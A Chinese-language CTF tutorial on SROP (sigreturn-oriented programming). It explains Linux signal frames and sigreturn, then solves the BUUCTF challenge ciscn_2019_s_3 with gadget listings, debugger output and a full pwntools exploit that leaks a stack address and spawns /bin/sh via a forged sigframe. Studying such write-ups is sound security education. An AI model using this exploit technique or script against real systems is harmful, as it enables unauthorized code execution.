0x00

想起来好像没学,学一下

0x01 前置知识 signal机制

signal机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 SignalFrame需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出 x64 的 sigcontext

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)
sigreturn的特殊之处
sigreturn是一个非常特殊的系统调用。内核处理它时,并不会走常规的sysret返回路径。相反,它会:
一、根据当前用户态的rsp找到sigframe
二、从sigframe中读取包括riprsp在内的所有通用寄存器的值。将这些值强制恢复到CPU的实际寄存器中。
三、最后,通过一个特殊的指令(如iretsysret,但操作数已被修改)将控制权交还给用户空间,此时CPU将从被恢复的rip地址开始执行,并且栈指针也已经切换为被恢复的rsp
最后总结一下信号处理流程

信号传递(Kernel to User)

  • 内核决定向一个用户进程传递信号。在切换回用户态之前,内核会在该进程的用户栈上创建一个sigframe
  • 这个sigframe保存了进程被中断时的完整上下文(寄存器状态、信号掩码等)。
  • sigframe的底部,内核会放置一段调用sigreturn系统调用的代码片段作为handler返回地址。
  • 内核修改进程的rip,使其指向信号处理函数(signal handler),并创建handler的栈帧

信号处理函数执行(User Space)

  • 进程返回用户态,开始执行信号处理函数。
  • 此时,栈的布局大致如下(栈向低地址方向增长):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+---------------------------+  <-- 高地址
| ... (原始栈内容) ... |
+---------------------------+
| |
| sigframe |
| |
+---------------------------+
| Return Address for | (调用sigreturn)
| Handler |
+---------------------------+
| Handler's saved RBP |
+---------------------------+
| |
| Handler's Local Variables| (handler的栈帧)
| |
+---------------------------+ <-- rsp (在handler执行过程中的位置)

从信号处理函数返回(User to Kernel)

  • 当信号处理函数执行ret指令,返回到调用sigreurn
  • 调用sigreurn的片段的核心就是 mov rax, 15; syscall (在x86-64中,15是rt_sigreturn的系统调用号)。

执行sigreturn(The Crucial Moment)

  • 执行syscall指令 (poprip),rsp现在正好指向了sigframe的起始位置
  • 内核接管控制,执行sigreturn
  • 内核相信此时的rsp正指向一个合法的sigframe(不检查)。它从rsp指向的内存地址开始,解析sigframe,并将其中保存的寄存器值恢复到CPU中。
  • 恢复完成:进程的riprsp以及其他所有寄存器都回到了信号发生前的状态。控制权返回用户空间,进程从被中断的地方“无缝”地继续执行,就好像什么都没发生过一样。原先为sigframe所占用的栈空间也自然而然地被“丢弃”了,因为rsp已经被恢复到了更高的地址。

0x02 攻击原理

攻击原理就很简单了,就是伪造signal Frame,触发sigreturn调用,控制寄存器和控制流,这也就是SROP的本质
SROP简要流程:

1
构造 fake_frame  --> 控制当前 rsp 指向 fake_frame 底部 --> sigreturn 调用

pwntools集成了SROP的模块,可以帮助制作fake_frame:

1
2
3
4
5
6
7
8
// e.g.
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read #也可直接手写调用号
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

一般来说在栈溢出进行ROP写调用sigreturn,然后在syscall后写入sigframe即可,需要注意的是,因为 sigreturn 系统调用 不会像普通函数一样返回到下一条 ret,内核会直接修改用户态寄存器,并跳转到 sigframe.rip,所以我们需要确保的是 sigreturn 系统调用之后rsp指向sigframe底部(在syscall之后写入sigframe,执行sigreturn时将syscall指令pop riprsp正好指向sigframe
需要注意的是,当我们构造srop_chain时候,sigframe.rip必须指向syscall_ret (至少这个gadget不会改变rsp),
因为中途不可以打乱rsp指向
,我们需要控制好rsp确保每次调用sigreturn时都指向目标sigframe

0x03 ciscn_2019_s_3

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
return vuln(argc, argv, envp);
}

signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

存在gadget

1
2
3
4
5
6
7
8
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1 retn
...
.text:00000000004004E2 mov rax, 3Bh ; ';'
.text:00000000004004E9 retn
...
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn

这题比较简单,除了SROP还可以打ret2csu,这里分析SROP.
调试发现这题有点怪的点就是缓冲区没有调整rsp来扩容,而是直接通过[rsp-0x10]来索引,猜测是直接使用两个系统调用函数以及缓冲区较小的原因,看调用write前的栈帧

1
2
3
4
5
6
7
8
9
pwndbg> stack
00:0000│ rbp rsp 0x7ffc0eb5e670 —▸ 0x4004ed (vuln) ◂— push rbp
01:0008│+008 0x7ffc0eb5e678 —▸ 0x400536 (main+25) ◂— nop
02:0010│+010 0x7ffc0eb5e680 —▸ 0x7ffc0eb5e778 —▸ 0x7ffc0eb5ef5f ◂— '/home/r3t2/ctf/buuctf/ciscn_2019_s_3/pwn_patched'
03:0018│+018 0x7ffc0eb5e688 ◂— 0x100000000
04:0020│+020 0x7ffc0eb5e690 —▸ 0x400540 (__libc_csu_init) ◂— push r15
05:0028│+028 0x7ffc0eb5e698 —▸ 0x785c98a21c87 (__libc_start_main+231) ◂— mov edi, eax
06:0030│+030 0x7ffc0eb5e6a0 ◂— 0x2000000000
07:0038│+038 0x7ffc0eb5e6a8 —▸ 0x7ffc0eb5e778 —▸ 0x7ffc0eb5ef5f ◂— '/home/r3t2/ctf/buuctf/ciscn_2019_s_3/pwn_patched'

看到栈上保留了栈地址0x7ffc0eb5e778会被输出,与buf的偏移是0x7ffc0eb5e778 - (rsp-0x10) = 0x118,接下来buf/bin/sh然后进行SROP即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node5.buuoj.cn"
port = 27615
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

mov_rax_15_ret = 0x4004da
mov_rax_59_ret = 0x4004e2
syscall_ret = 0x400517
vuln_addr = 0x4004ed

payload = b'a'*0x10 + p64(vuln_addr)
io.send(payload)

io.recvuntil(b'a'*0x10)
io.recv(0x10)
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x118
log.info("stack_addr --> "+hex(stack_addr))

sigFrame = SigreturnFrame()
sigFrame.rax = 59
sigFrame.rdi = stack_addr
sigFrame.rsi = 0x0
sigFrame.rdx = 0x0
sigFrame.rip = syscall_ret

payload = b'/bin/sh\x00'*2 + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(sigFrame)
io.send(payload)

io.interactive()